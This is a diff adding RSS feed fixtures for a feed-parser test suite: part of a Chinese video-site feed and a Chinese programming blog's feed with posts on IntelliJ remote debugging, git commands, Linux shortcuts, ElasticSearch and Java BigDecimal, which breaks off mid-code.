+http://www.doubiekan.net/video/72300.html +布丽特·罗伯森,K·J·阿帕,梅丽莎·罗斯伯格,阿比盖尔·F·考恩,加里·西尼斯,内森·帕森斯,仙妮娅·唐恩,鲁本·多德,卡梅伦·阿内特,塔妮娅·克里斯汀森,谢·杜伊特,尼古拉斯·G·西姆斯,艾莉莎·冈萨雷斯,格里芬·胡德 +2020-04-05 03:27:34 + + + +这段恋爱是罪过吗?/这份爱是罪恶吗 +http://www.doubiekan.net/video/72299.html +新川优爱,町田启太,小池彻平,中村由利佳,神尾枫珠,户田菜穗,德永绘里,笕美和子,大西礼芳,阿部亮平,长井短 +2020-04-05 00:36:14 + + + + \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/warn/http-www-jiangxinlingdu-com-feed-xml.xml b/tests/feedlib/testdata/parser/warn/http-www-jiangxinlingdu-com-feed-xml.xml new file mode 100644 index 0000000..3b1b349 --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/http-www-jiangxinlingdu-com-feed-xml.xml @@ -0,0 +1,2186 @@ + + + + 匠心零度 + http://www.jiangxinlingdu.com?github + http://www.jiangxinlingdu.com/ + + Mon, 06 Apr 2020 11:52:38 +0800 + Mon, 06 Apr 2020 11:52:38 +0800 + Jekyll v3.8.3 + + + IntelliJ IDEA 进行远程调试技巧 + <h2 id="1-前言">1. 前言</h2> + +<p>今天线上出现了个 Bug ,而且比较坑的是涉及到微信相关的东西不能线下调试。传统方式是在代码中各种的日志 log 埋点然后重新部署进行调试,再根据 log 中的信息进行分析。如果你的 log 埋点不合理,就要不停的修改代码、不停的打包部署。有没有什么骚操作避免上面的问题呢?</p> + +<h2 id="2-远程调试">2. 远程调试</h2> + +<p>当然有解决方案,这就是远程调试(Remote debugging)。远程调试使开发人员能够直接诊断服务器或其它线上进程上的问题,它提供了跟踪线上运行时错误并确定性能瓶颈和问题根源的方法,让你能够像在本地调试一样 Debug 远程服务器。接下来我们将使用流行的 Java IDE,由 JetBrains 出品的 <strong>IntelliJ IDEA</strong> 来进行远程调试。要让远程服务器运行的代码支持远程调试,则启动的时候必须加上特定的 JVM 参数,这些参数是:</p> + +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-Xdebug -Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=${debug_port} +</code></pre></div></div> + +<p>其中 <code class="highlighter-rouge">debug_port</code> 是服务端开放的调试端口,后续本地配置会用到。</p> + +<h2 id="3-使用-idea-进行远程调试">3. 使用 IDEA 进行远程调试</h2> + +<p><strong>IntelliJ IDEA</strong> 进行远程调试并不复杂经过下面几个步骤就可以很方便的配置。</p> + +<h3 id="31-本地参数配置">3.1 本地参数配置</h3> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/0.1455922366518167.png" alt="img" /></p> + +<p>按照上面图的位置打开配置面板新建一个 <strong>Remote</strong> 调试面板如下:</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/0.616777377993128.png" alt="img" /></p> + +<p>按照上图所示的顺序结合你自己服务器和本地环境依次进行配置,然后点击确定就行了。其中步骤 2 和 4 端口就是我们远端指定的 <code class="highlighter-rouge">debug_port</code> 端口号。</p> + +<h3 id="32-jdwp-协议">3.2 JDWP 协议</h3> + +<p>这里有一个小小的知识点就是 参数中的 <code class="highlighter-rouge">jdwp</code> 。那么什么是 <code class="highlighter-rouge">jdwp</code>?</p> + +<blockquote> + <p>JDWP 是 Java Debug Wire Protocol 的缩写,它定义了调试器(debugger)和目标虚拟机(target vm)之间的通信协议。Target vm 中运行着我们要调试的 Java 程序,它与一般运行的 JVM 没有什么区别,只是在启动时加载了 JDWP Agent 从而具备了调试功能。而 debugger 就是我们本地的调试器,它向运行中的 target vm 发送指令来获取 target vm 运行时的状态和控制远程 Java 程序的执行。Debugger 和 target vm 分别在各自的进程中运行,他们之间通过 JDWP 通信协议进行通信。</p> +</blockquote> + +<h3 id="33-开启远程调试">3.3 开启远程调试</h3> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/0.9504527146327909.png" alt="img" /></p> + +<p>点击箭头所示的 <strong>绿色甲虫按钮 (快捷键 Shift + F9)</strong> 就启动调试了,然后设置好本地代码的断点,让远程的逻辑触发断点逻辑就可以进行打断点调试了。</p> + +<blockquote> + <p><strong>请务必保证本地 debug 的代码与远程部署的代码完全一致,不能发生任何的修改!否则断点将无法命中!</strong></p> +</blockquote> + +<h2 id="4-一些要点">4. 一些要点</h2> + +<p>除了需要保证代码一致外,这里还有一些需要我们注意的地方。调试完毕远程的 JDWP Agent 应该被禁用,也就是将远端的相关参数去掉。另外在调试中远端的日志并不会映射到本地,当然你可以借助一些工具将远程的日志映射到本地以提供更强大的调试功能。</p> + +<blockquote> + <p><strong>还要记住,虽然远程调试是一个非常强大的工具,但是它并非银弹!生产环境不是调试的合适目标,请勿滥用!</strong></p> +</blockquote> + +<h2 id="5-总结">5. 总结</h2> + +<p>正如我在本文中介绍的那样,使用 <strong>IntelliJ IDEA</strong> 进行远程调试非常简单,只需几个步骤即可使用。有些情况下它很方便地解决了我们的问题。但是它不应该被滥用,应该被合理地使用。</p> + +<p>本文作者:码农小胖哥<br /> +链接:https://zhuanlan.zhihu.com/p/95098721</p> + + + Mon, 06 Apr 2020 00:00:00 +0800 + http://www.jiangxinlingdu.com/idea/2020/04/06/idearemote.html + http://www.jiangxinlingdu.com/idea/2020/04/06/idearemote.html + + idea + + + idea + + + + + 工作中99%能用到的git命令 + <h2 id="分支操作">分支操作</h2> + +<ol> + <li>git branch 创建分支</li> + <li>git checkout -b 创建并切换到新建的分支上</li> + <li>git checkout 切换分支</li> + <li>git branch 查看分支列表</li> + <li>git branch -v 查看所有分支的最后一次操作</li> + <li>git branch -vv 查看当前分支</li> + <li>git brabch -b 分支名 origin/分支名 创建远程分支到本地</li> + <li>git branch –merged 查看别的分支和当前分支合并过的分支</li> + <li>git branch –no-merged 查看未与当前分支合并的分支</li> + <li>git branch -d 分支名 删除本地分支</li> + <li>git branch -D 分支名 强行删除分支</li> + <li>git push origin –delete 分支名 删除远处仓库分支</li> + <li>git merge 分支名 合并分支到当前分支上</li> + <li>git push –set-upstream origin 分支名 / git push origin 分支名 将本地分支推送到远程仓库</li> + <li>git checkout -b 本地分支名 origin/远程分支名 下载远程仓库分支到本地</li> +</ol> + +<h2 id="暂存操作">暂存操作</h2> + +<ol> + <li>git stash 暂存当前修改</li> + <li>git stash apply 恢复最近的一次暂存</li> + <li>git stash pop 恢复暂存并删除暂存记录</li> + <li>git stash list 查看暂存列表</li> + <li>git stash drop 暂存名(例:stash@{0}) 移除某次暂存</li> + <li>git stash clear 清除暂存</li> +</ol> + +<h2 id="回退操作">回退操作</h2> + +<ol> + <li>git reset –hard HEAD^ 回退到上一个版本</li> + <li>git reset –hard ahdhs1(commit_id) 回退到某个版本</li> + <li>git checkout – file撤销修改的文件(如果文件加入到了暂存区,则回退到暂存区的,如果文件加入到了版本库,则还原至加入版本库之后的状态)</li> + <li>git reset HEAD file 撤回暂存区的文件修改到工作区</li> +</ol> + +<h2 id="标签操作">标签操作</h2> + +<ol> + <li>git tag 标签名 添加标签(默认对当前版本)</li> + <li>git tag 标签名 commit_id 对某一提交记录打标签</li> + <li>git tag -a 标签名 -m ‘描述’ 创建新标签并增加备注</li> + <li>git tag 列出所有标签列表</li> + <li>git show 标签名 查看标签信息</li> + <li>git tag -d 标签名 删除本地标签</li> + <li>git push origin 标签名 推送标签到远程仓库</li> + <li>git push origin –tags 推送所有标签到远程仓库</li> + <li>git push origin :refs/tags/标签名 从远程仓库中删除标签</li> +</ol> + +<h2 id="其它操作">其它操作</h2> + +<h3 id="常规操作">常规操作</h3> + +<ol> + <li>git push origin test 推送本地分支到远程仓库</li> + <li>git rm -r –cached 文件/文件夹名字 取消文件被版本控制</li> + <li>git reflog 获取执行过的命令</li> + <li>git log –graph 查看分支合并图</li> + <li>git merge –no-ff -m ‘合并描述’ 分支名 不使用Fast forward方式合并,采用这种方式合并可以看到合并记录</li> + <li>git check-ignore -v 文件名 查看忽略规则</li> + <li>git add -f 文件名 强制将文件提交</li> +</ol> + +<h3 id="git创建项目仓库">git创建项目仓库</h3> + +<p>1、git init 初始化 +2、git remote add origin url 关联远程仓库 +3、git pull +4、git fetch 获取远程仓库中所有的分支到本地</p> + +<h3 id="忽略已加入到版本库中的文件">忽略已加入到版本库中的文件</h3> + +<p>1、git update-index –assume-unchanged file 忽略单个文件 +2、git rm -r –cached 文件/文件夹名字 (. 忽略全部文件)</p> + +<h3 id="取消忽略文件">取消忽略文件</h3> + +<p>git update-index –no-assume-unchanged file</p> + +<h3 id="拉取上传免密码">拉取、上传免密码</h3> + +<p>git config –global credential.helper store</p> + +<p>本文作者:命中水<br /> +链接:https://www.cxiansheng.cn/daily/490</p> + + + Thu, 02 Apr 2020 00:00:00 +0800 + http://www.jiangxinlingdu.com/git/2020/04/02/git.html + http://www.jiangxinlingdu.com/git/2020/04/02/git.html + + git + + + git + + + + + 提高Linux效率的30个命令行常用快捷键 + <h2 id="说明">说明</h2> +<p>我们经常有时候需要敲命令,但是效率比较低,今天看到一篇非常不错的 提高Linux效率的30个命令行常用快捷键,供读者享用</p> + +<table> + <thead> + <tr> + <th>快捷键</th> + <th>功能说明</th> + </tr> + </thead> + <tbody> + <tr> + <td>最有用快捷键</td> + <td> </td> + </tr> + <tr> + <td>tab</td> + <td>命令或路径等的补全键,Linux最有用快捷键*</td> + </tr> + <tr> + <td>移动光标快捷键</td> + <td> </td> + </tr> + <tr> + <td>Ctrl+a</td> + <td>光标回到命令行首*</td> + </tr> + <tr> + <td>Ctrl+e</td> + <td>光标回到命令行尾*</td> + </tr> + <tr> + <td>Ctrl+f</td> + <td>光标向右移动一个字符(相当于方向键右键)</td> + </tr> + <tr> + <td>Ctrl+b</td> + <td>光标向左移动一个字符(相当于方向键左键)</td> + </tr> + <tr> + <td>剪切、粘贴、清除快捷键</td> + <td> </td> + </tr> + <tr> + <td>Ctrl+Insert</td> + <td>复制命令行内容*</td> + </tr> + <tr> + <td>Shift+Insert</td> + <td>粘贴命令行内容*</td> + </tr> + <tr> + <td>Ctrl+k</td> + <td>剪切(删除)光标处到行尾的字符*</td> + </tr> + <tr> + <td>Ctrl+u</td> + <td>剪切(删除)光标处到行首的字符*</td> + </tr> + <tr> + <td>Ctrl+w</td> + <td>剪切(删除)光标前的一个单词</td> + </tr> + <tr> + <td>Ctrl+y</td> + <td>粘贴Ctrl+u,Ctrl+k,Ctrl+w删除的文本</td> + </tr> + <tr> + <td>Ctrl+c</td> + <td>中断终端正在执行的任务或者删除整行*</td> + </tr> + <tr> + <td>Ctrl+h</td> + <td>删除光标所在处的前一个字符(相当于退格键)</td> + </tr> + <tr> + <td>重复执行命令快捷键</td> + <td> </td> + </tr> + <tr> + <td>Ctrl+d</td> + <td>退出当前Shell命令行*</td> + </tr> + <tr> + <td>Ctrl+r</td> + <td>搜索命令行使用过的历史命令记录*</td> + </tr> + <tr> + <td>Ctrl+g</td> + <td>从执行Ctrl+r的搜索历史命令模式退出</td> + </tr> + <tr> + <td>Esc+.(点)</td> + <td>获取上一条命令的最后的部分(空格分隔)*</td> + </tr> + <tr> + <td>控制快捷键</td> + <td> </td> + </tr> + <tr> + <td>Ctrl+l</td> + <td>清除屏幕所有内容,并在屏幕最上面开始一个新行,等同clear命令*</td> + </tr> + <tr> + <td>Ctrl+s</td> + <td>锁定终端,使之无法输入内容</td> + </tr> + <tr> + <td>Ctrl+q</td> + <td>解锁执行Ctrl+s的锁定状态</td> + </tr> + <tr> + <td>Ctrl+z</td> + <td>暂停执行在终端运行的任务*</td> + </tr> + <tr> + <td>!号开头的快捷命令</td> + <td> </td> + </tr> + <tr> + <td>!!</td> + <td>执行上一条命令</td> + </tr> + <tr> + <td>!pw</td> + <td>执行最近以pw开头的命令*</td> + </tr> + <tr> + <td>!pw:p</td> + <td>仅打印最近pw开头的命令,但不执行</td> + </tr> + <tr> + <td>!num</td> + <td>执行历史命令列表的第num(数字)条命令*</td> + </tr> + <tr> + <td>!$</td> + <td>上一条命令的最后一个参数,相当于Esc+.(点)</td> + </tr> + <tr> + <td>ESC相关</td> + <td> </td> + </tr> + <tr> + <td>Esc+.(点)</td> + <td>获取上一条命令的最后的部分(空格分隔)*</td> + </tr> + <tr> + <td>Esc+b</td> + <td>移动到当前单词的开头</td> + </tr> + <tr> + <td>Esc+f</td> + <td>移动到当前单词的结尾</td> + </tr> + <tr> + <td>Esc+t</td> + <td>颠倒光标所在处及其相邻单词的位置</td> + </tr> + </tbody> +</table> + +<p>注:上述快捷键适合SecureCRT和Xshell客户端。其中带有符号“*”的为常用快捷键。</p> + +<p>本文作者:老男孩oldboy<br /> +链接:https://blog.51cto.com/oldboy/2112948</p> + + + Sun, 29 Mar 2020 00:00:00 +0800 + http://www.jiangxinlingdu.com/linux/2020/03/29/linux.html + http://www.jiangxinlingdu.com/linux/2020/03/29/linux.html + + linux + + + linux + + + + + ElasticSearch实用化订单搜索方案 + <h2 id="前言">前言:</h2> + +<p>站外推广系统订单报表一直是一个痛点,研究后选择ES搜索引擎进行改造。上线来遇到很多问题,经历了很多的修改,现在系统终于正常运行,满足订单报表大数据量、实时更新、响应快、多维度查询的需求。</p> + +<p>文章原本是用ppt来编写的,这里只能修改为图片来展示。</p> + +<h2 id="一为什么选择es">一、为什么选择ES</h2> + +<p>搜索引擎中,主要考虑到ES支持结构化数据查询以及支持实时频繁更新特性:</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/173413_2whd_2485991.jpg" alt="" /></p> + +<h2 id="二总体系统架构">二、总体系统架构</h2> + +<p>整个业务线使用服务化方式,ES集群和数据库分库,作为数据源被订单服务系统封装为对外统一接口;各前后台应用和报表中心,使用服务化的方式获取订单数据。</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/173735_nixs_2485991.jpg" alt="" /></p> + +<h2 id="三数据更新设计">三、数据更新设计</h2> + +<p>ES数据更新有批量更新和实时更新两种:</p> + +<p>1、手动更新为初始化数据,或者修复数据时使用</p> + +<p>2、实时更新通过监控数据库订单表的binlog,进行实时同步</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/174025_4ZaD_2485991.jpg" alt="" /></p> + +<h2 id="四机器索引参数配置">四、机器、索引、参数配置</h2> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/174358_6OK3_2485991.jpg" alt="" /></p> + +<h2 id="五索引结构图">五、索引结构图</h2> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/174530_1JrJ_2485991.jpg" alt="" /></p> + +<h2 id="六机器性能选择">六、机器性能选择</h2> + +<p>对于频繁更新一定要考虑到使用SSD</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/174651_VUIf_2485991.jpg" alt="" /></p> + +<h2 id="七文档id选择">七、文档id选择</h2> + +<p>因为是订单数据,并且有频繁数据更新,所以我们选择自己指定的唯一id,具体对比如下:</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/174754_uQJh_2485991.jpg" alt="" /></p> + +<h2 id="八实时更新数据方案">八、实时更新数据方案</h2> + +<p>实时数据更新采用监听数据库binlog的方式实现:</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/174918_67Mm_2485991.jpg" alt="" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/174931_yhfX_2485991.jpg" alt="" /></p> + +<h2 id="九数据一致性解决方案">九、数据一致性解决方案</h2> + +<p>不一致原因:</p> + +<p>1、各域代码发布</p> + +<p>2、网络延时</p> + +<p>3、集群故障</p> + +<p>4、vdp、vms丢数据</p> + +<p>解决方案:</p> + +<p>1、使用调度任务,每天对比三个月内每天的数据</p> + +<p>2、如果存在数据不一致,自动批量同步当天数据</p> + +<p>3、数据不一致,自动发送告警邮件</p> + +<p>4、调度任务可随时手动终止</p> + +<p>5、至今尚未出现不一致的情况</p> + +<h2 id="十数据更新查询接口">十、数据更新、查询接口</h2> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/175159_gxq3_2485991.jpg" alt="" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/175216_J0ts_2485991.jpg" alt="" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/175235_a1qk_2485991.jpg" alt="" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/175252_fsRb_2485991.jpg" alt="" /></p> + +<p>作者:罗一鸣<br /> +链接:https://www.jianshu.com/p/c81edc59546c</p> + + + Fri, 27 Mar 2020 00:00:00 +0800 + http://www.jiangxinlingdu.com/practice/2020/03/27/es.html + http://www.jiangxinlingdu.com/practice/2020/03/27/es.html + + practice + + + practice + + + + + Java中的BigDecimal类你了解多少? + <h2 id="java中的bigdecimal类你了解多少">Java中的BigDecimal类你了解多少?</h2> + +<h2 id="前言">前言</h2> + +<p>我们都知道浮点型变量在进行计算的时候会出现丢失精度的问题。如下一段代码:</p> + +<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">System</span><span class="p">.</span><span class="k">out</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="m">0.05</span> <span class="p">+</span> <span class="m">0.01</span><span class="p">);</span> +<span class="n">System</span><span class="p">.</span><span class="k">out</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="m">1.0</span> <span class="p">-</span> <span class="m">0.42</span><span class="p">);</span> +<span class="n">System</span><span class="p">.</span><span class="k">out</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="m">4.015</span> <span class="p">*</span> <span class="m">100</span><span class="p">);</span> +<span class="n">System</span><span class="p">.</span><span class="k">out</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="m">123.3</span> <span class="p">/</span> <span class="m">100</span><span class="p">);</span> + +<span class="err">输出:</span> +<span class="m">0.060000000000000005</span> +<span class="m">0.5800000000000001</span> +<span class="m">401.49999999999994</span> +<span class="m">1.2329999999999999</span> +</code></pre></div></div> + +<p>可以看到在Java中进行浮点数运算的时候,会出现丢失精度的问题。那么我们如果在进行商品价格计算的时候,就会出现问题。很有可能造成我们手中有0.06元,却无法购买一个0.05元和一个0.01元的商品。因为如上所示,他们两个的总和为0.060000000000000005。这无疑是一个很严重的问题,尤其是当电商网站的并发量上去的时候,出现的问题将是巨大的。可能会导致无法下单,或者对账出现问题。所以接下来我们就可以使用Java中的BigDecimal类来解决这类问题。</p> + +<p>普及一下:</p> + +<p>Java中float的精度为6-7位有效数字。double的精度为15-16位。</p> + +<h2 id="api">API</h2> + +<p>构造器:</p> + +<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="err">构造器</span> <span class="err">描述</span> + <span class="n">BigDecimal</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span> <span class="err">创建一个具有参数所指定整数值的对象。</span> + <span class="n">BigDecimal</span><span class="p">(</span><span class="kt">double</span><span class="p">)</span> <span class="err">创建一个具有参数所指定双精度值的对象。</span> + <span class="n">BigDecimal</span><span class="p">(</span><span class="kt">long</span><span class="p">)</span> <span class="err">创建一个具有参数所指定长整数值的对象。</span> + <span class="n">BigDecimal</span><span class="p">(</span><span class="n">String</span><span class="p">)</span> <span class="err">创建一个具有参数所指定以字符串表示的数值的对象。</span> +</code></pre></div></div> + +<p>函数:</p> + +<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="err">方法</span> <span class="err">描述</span> + <span class="k">add</span><span class="p">(</span><span class="n">BigDecimal</span><span class="p">)</span> <span class="n">BigDecimal</span><span class="err">对象中的值相加,然后返回这个对象。</span> + <span class="nf">subtract</span><span class="p">(</span><span class="n">BigDecimal</span><span class="p">)</span> <span class="n">BigDecimal</span><span class="err">对象中的值相减,然后返回这个对象。</span> + <span class="nf">multiply</span><span class="p">(</span><span class="n">BigDecimal</span><span class="p">)</span> <span class="n">BigDecimal</span><span class="err">对象中的值相乘,然后返回这个对象。</span> + <span class="nf">divide</span><span class="p">(</span><span class="n">BigDecimal</span><span class="p">)</span> <span class="n">BigDecimal</span><span class="err">对象中的值相除,然后返回这个对象。</span> + <span class="nf">toString</span><span class="p">()</span> <span class="err">将</span><span class="n">BigDecimal</span><span class="err">对象的数值转换成字符串。</span> + <span class="nf">doubleValue</span><span class="p">()</span> <span class="err">将</span><span class="n">BigDecimal</span><span class="err">对象中的值以双精度数返回。</span> + <span class="nf">floatValue</span><span class="p">()</span> <span class="err">将</span><span class="n">BigDecimal</span><span class="err">对象中的值以单精度数返回。</span> + <span class="nf">longValue</span><span class="p">()</span> <span class="err">将</span><span class="n">BigDecimal</span><span class="err">对象中的值以长整数返回。</span> + <span class="nf">intValue</span><span class="p">()</span> <span class="err">将</span><span class="n">BigDecimal</span><span class="err">对象中的值以整数返回。</span> +</code></pre></div></div> + +<p>由于一般的数值类型,例如double不能准确的表示16位以上的数字。</p> + +<h2 id="bigdecimal精度也丢失">BigDecimal精度也丢失</h2> + +<p>我们在使用BigDecimal时,使用它的BigDecimal(String)构造器创建对象才有意义。其他的如BigDecimal b = new BigDecimal(1)这种,还是会发生精度丢失的问题。如下代码:</p> + +<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BigDecimal</span> <span class="n">a</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BigDecimal</span><span class="p">(</span><span class="m">1.01</span><span class="p">);</span> +<span class="n">BigDecimal</span> <span class="n">b</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BigDecimal</span><span class="p">(</span><span class="m">1.02</span><span class="p">);</span> +<span class="n">BigDecimal</span> <span class="n">c</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BigDecimal</span><span class="p">(</span><span class="s">"1.01"</span><span class="p">);</span> +<span class="n">BigDecimal</span> <span class="n">d</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BigDecimal</span><span class="p">(</span><span class="s">"1.02"</span><span class="p">);</span> +<span class="n">System</span><span class="p">.</span><span class="k">out</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="n">a</span><span class="p">.</span><span class="k">add</span><span class="p">(</span><span class="n">b</span><span class="p">));</span> +<span class="n">System</span><span class="p">.</span><span class="k">out</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="n">c</span><span class="p">.</span><span class="k">add</span><span class="p">(</span><span class="n">d</span><span class="p">));</span> + +<span class="err">输出:</span> +<span class="m">2.0300000000000000266453525910037569701671600341796875</span> +<span class="m">2.03</span> +</code></pre></div></div> + +<p>可见论丢失精度BigDecimal显的更为过分。但是使用Bigdecimal的BigDecimal(String)构造器的变量在进行运算的时候却没有出现这种问题。 究其原因计算机组成原理里面都有,它们的编码决定了这样的结果。long可以准确存储19位数字,而double只能准备存储16位数字。double由于有exp位,可以存16位以上的数字,但是需要以低位的不精确作为代价。如果需要高于19位数字的精确存储,则必须用BigInteger来保存,当然会牺牲一些性能。所以我们一般使用BigDecimal来解决商业运算上丢失精度的问题的时候,声明BigDecimal对象的时候一定要使用它构造参数为String的类型的构造器。</p> + +<p>同时这个原则Effective Java和MySQL 必知必会中也都有提及。float和double只能用来做科学计算和工程计算。商业运算中我们要使用BigDecimal。</p> + +<p>而且我们从源码的注释中官方也给出了说明,如下是BigDecimal类的double类型参数的构造器上的一部分注释说明:</p> + +<div class="language-dart highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span> <span class="n">The</span> <span class="n">results</span> <span class="n">of</span> <span class="k">this</span> <span class="n">constructor</span> <span class="n">can</span> <span class="n">be</span> <span class="n">somewhat</span> <span class="n">unpredictable</span><span class="o">.</span> + <span class="o">*</span> <span class="n">One</span> <span class="n">might</span> <span class="n">assume</span> <span class="n">that</span> <span class="n">writing</span> <span class="o">{</span><span class="nd">@code</span> <span class="k">new</span> <span class="n">BigDecimal</span><span class="o">(</span><span class="mf">0.1</span><span class="o">)}</span> <span class="k">in</span> + <span class="o">*</span> <span class="n">Java</span> <span class="n">creates</span> <span class="n">a</span> <span class="o">{</span><span class="nd">@code</span> <span class="n">BigDecimal</span><span class="o">}</span> <span class="n">which</span> <span class="k">is</span> <span class="n">exactly</span> <span class="n">equal</span> <span class="n">to</span> + <span class="o">*</span> <span class="mf">0.1</span> <span class="o">(</span><span class="n">an</span> <span class="n">unscaled</span> <span class="n">value</span> <span class="n">of</span> <span class="mi">1</span><span class="o">,</span> <span class="k">with</span> <span class="n">a</span> <span class="n">scale</span> <span class="n">of</span> <span class="mi">1</span><span class="o">),</span> <span class="n">but</span> <span class="n">it</span> <span class="k">is</span> + <span class="o">*</span> <span class="n">actually</span> <span class="n">equal</span> <span class="n">to</span> + <span class="o">*</span> <span class="mf">0.1000000000000000055511151231257827021181583404541015625</span><span class="o">.</span> + <span class="o">*</span> <span class="n">This</span> <span class="k">is</span> <span class="n">because</span> <span class="mf">0.1</span> <span class="n">cannot</span> <span class="n">be</span> <span class="n">represented</span> <span class="n">exactly</span> <span class="k">as</span> <span class="n">a</span> + <span class="o">*</span> <span class="o">{</span><span class="nd">@code</span> <span class="kt">double</span><span class="o">}</span> <span class="o">(</span><span class="n">or</span><span class="o">,</span> <span class="k">for</span> <span class="n">that</span> <span class="n">matter</span><span class="o">,</span> <span class="k">as</span> <span class="n">a</span> <span class="n">binary</span> <span class="n">fraction</span> <span class="n">of</span> + <span class="o">*</span> <span class="n">any</span> <span class="n">finite</span> <span class="n">length</span><span class="o">).</span> <span class="n">Thus</span><span class="o">,</span> <span class="n">the</span> <span class="n">value</span> <span class="n">that</span> <span class="k">is</span> <span class="n">being</span> <span class="n">passed</span> + <span class="o">*</span> <span class="o">&lt;</span><span class="n">i</span><span class="o">&gt;</span><span class="k">in</span><span class="o">&lt;/</span><span class="n">i</span><span class="o">&gt;</span> <span class="n">to</span> <span class="n">the</span> <span class="n">constructor</span> <span class="k">is</span> <span class="n">not</span> <span class="n">exactly</span> <span class="n">equal</span> <span class="n">to</span> <span class="mf">0.1</span><span class="o">,</span> + <span class="o">*</span> <span class="n">appearances</span> <span class="n">notwithstanding</span><span class="o">.</span> + <span class="err">……</span> + <span class="o">*</span> <span class="n">When</span> <span class="n">a</span> <span class="o">{</span><span class="nd">@code</span> <span class="kt">double</span><span class="o">}</span> <span class="n">must</span> <span class="n">be</span> <span class="n">used</span> <span class="k">as</span> <span class="n">a</span> <span class="kn">source</span> <span class="k">for</span> <span class="n">a</span> + <span class="o">*</span> <span class="o">{</span><span class="nd">@code</span> <span class="n">BigDecimal</span><span class="o">},</span> <span class="n">note</span> <span class="n">that</span> <span class="k">this</span> <span class="n">constructor</span> <span class="n">provides</span> <span class="n">an</span> + <span class="o">*</span> <span class="n">exact</span> <span class="n">conversion</span><span class="o">;</span> <span class="n">it</span> <span class="n">does</span> <span class="n">not</span> <span class="n">give</span> <span class="n">the</span> <span class="n">same</span> <span class="n">result</span> <span class="k">as</span> + <span class="o">*</span> <span class="n">converting</span> <span class="n">the</span> <span class="o">{</span><span class="nd">@code</span> <span class="kt">double</span><span class="o">}</span> <span class="n">to</span> <span class="n">a</span> <span class="o">{</span><span class="nd">@code</span> <span class="kt">String</span><span class="o">}</span> <span class="n">using</span> <span class="n">the</span> + <span class="o">*</span> <span class="o">{</span><span class="nd">@link</span> <span class="n">Double</span><span class="ss">#toString</span><span class="o">(</span><span class="kt">double</span><span class="o">)}</span> <span class="n">method</span> <span class="n">and</span> <span class="n">then</span> <span class="n">using</span> <span class="n">the</span> + <span class="o">*</span> <span class="o">{</span><span class="nd">@link</span> <span class="ss">#BigDecimal</span><span class="o">(</span><span class="kt">String</span><span class="o">)}</span> <span class="n">constructor</span><span class="o">.</span> <span class="n">To</span> <span class="kd">get</span> <span class="n">that</span> <span class="n">result</span><span class="o">,</span> + <span class="o">*</span> <span class="n">use</span> <span class="n">the</span> <span class="o">{</span><span class="nd">@code</span> <span class="kd">static</span><span class="o">}</span> <span class="o">{</span><span class="nd">@link</span> <span class="ss">#valueOf</span><span class="o">(</span><span class="kt">double</span><span class="o">)}</span> <span class="n">method</span><span class="o">.</span> + <span class="o">*</span> <span class="o">&lt;/</span><span class="n">ol</span><span class="o">&gt;</span> +<span class="n">public</span> <span class="nf">BigDecimal</span><span class="p">(</span><span class="kt">double</span> <span class="n">val</span><span class="o">)</span> <span class="o">{</span> + <span class="k">this</span><span class="o">(</span><span class="n">val</span><span class="o">,</span><span class="n">MathContext</span><span class="o">.</span><span class="na">UNLIMITED</span><span class="o">);</span> +<span class="o">}</span> +</code></pre></div></div> + +<p>第一段也说的很清楚它只能计算的无限接近这个数,但是无法精确到这个数。第二段则说,如果要想准确计算这个值,那么需要把double类型的参数转化为String类型的。并且使用BigDecimal(String)这个构造方法进行构造。 去获取结果。</p> + +<h2 id="正确运用bigdecimal">正确运用BigDecimal</h2> + +<p>另外,BigDecimal所创建的是对象,我们不能使用传统的+、-、*、/等算术运算符直接对其对象进行数学运算,而必须调用其相对应的方法。方法中的参数也必须是BigDecimal的对象,由刚才我们所罗列的API也可看出。</p> + +<p>在一般开发过程中,我们数据库中存储的数据都是float和double类型的。在进行拿来拿去运算的时候还需要不断的转化,这样十分的不方便。这里我写了一个工具类:</p> + +<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/** + * @author: Ji YongGuang. + * @date: 19:50 2017/12/14. + */</span> +<span class="k">public</span> <span class="k">class</span> <span class="nc">BigDecimalUtil</span> <span class="p">{</span> + + <span class="k">private</span> <span class="nf">BigDecimalUtil</span><span class="p">()</span> <span class="p">{</span> + + <span class="p">}</span> + + <span class="k">public</span> <span class="k">static</span> <span class="n">BigDecimal</span> <span class="k">add</span><span class="p">(</span><span class="kt">double</span> <span 